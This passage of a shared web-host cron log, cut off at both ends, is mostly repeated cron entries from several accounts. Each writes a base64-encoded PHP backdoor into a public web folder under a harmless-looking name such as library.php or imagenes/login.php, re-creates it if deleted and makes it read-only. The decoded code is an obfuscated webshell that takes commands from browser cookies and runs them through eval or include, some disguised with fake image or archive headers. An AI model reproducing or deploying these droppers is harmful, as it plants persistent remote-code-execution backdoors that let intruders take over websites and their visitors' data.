ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:45:02 medusa CROND[27171]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 06:45:02 medusa CROND[27172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:45:02 medusa CROND[27175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:45:02 medusa CROND[27177]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:45:02 medusa CROND[27184]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:45:02 medusa CROND[27186]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:45:02 medusa CROND[27158]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 06:46:01 medusa CROND[29008]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:46:01 medusa CROND[29056]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:46:01 medusa CROND[29057]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 06:46:01 medusa CROND[29066]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:46:02 medusa CROND[29069]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:46:02 medusa CROND[29070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:46:02 medusa CROND[29071]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:46:02 medusa CROND[29067]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 06:46:02 medusa CROND[29068]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 06:46:02 medusa CROND[29073]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:46:02 medusa CROND[29074]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:46:02 medusa CROND[29075]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:46:02 medusa CROND[29077]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 06:46:02 medusa CROND[29089]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:46:02 medusa CROND[29090]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 06:47:01 medusa CROND[30801]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 06:47:01 medusa CROND[30802]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 06:47:01 medusa CROND[30803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 06:47:01 medusa CROND[30804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 06:47:01 medusa CROND[30806]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 06:47:01 medusa CROND[30807]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:47:01 medusa CROND[30808]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Jun  7 06:47:01 medusa CROND[30809]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 06:47:01 medusa CROND[30812]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 06:47:01 medusa CROND[30814]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 06:47:01 medusa CROND[30815]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcn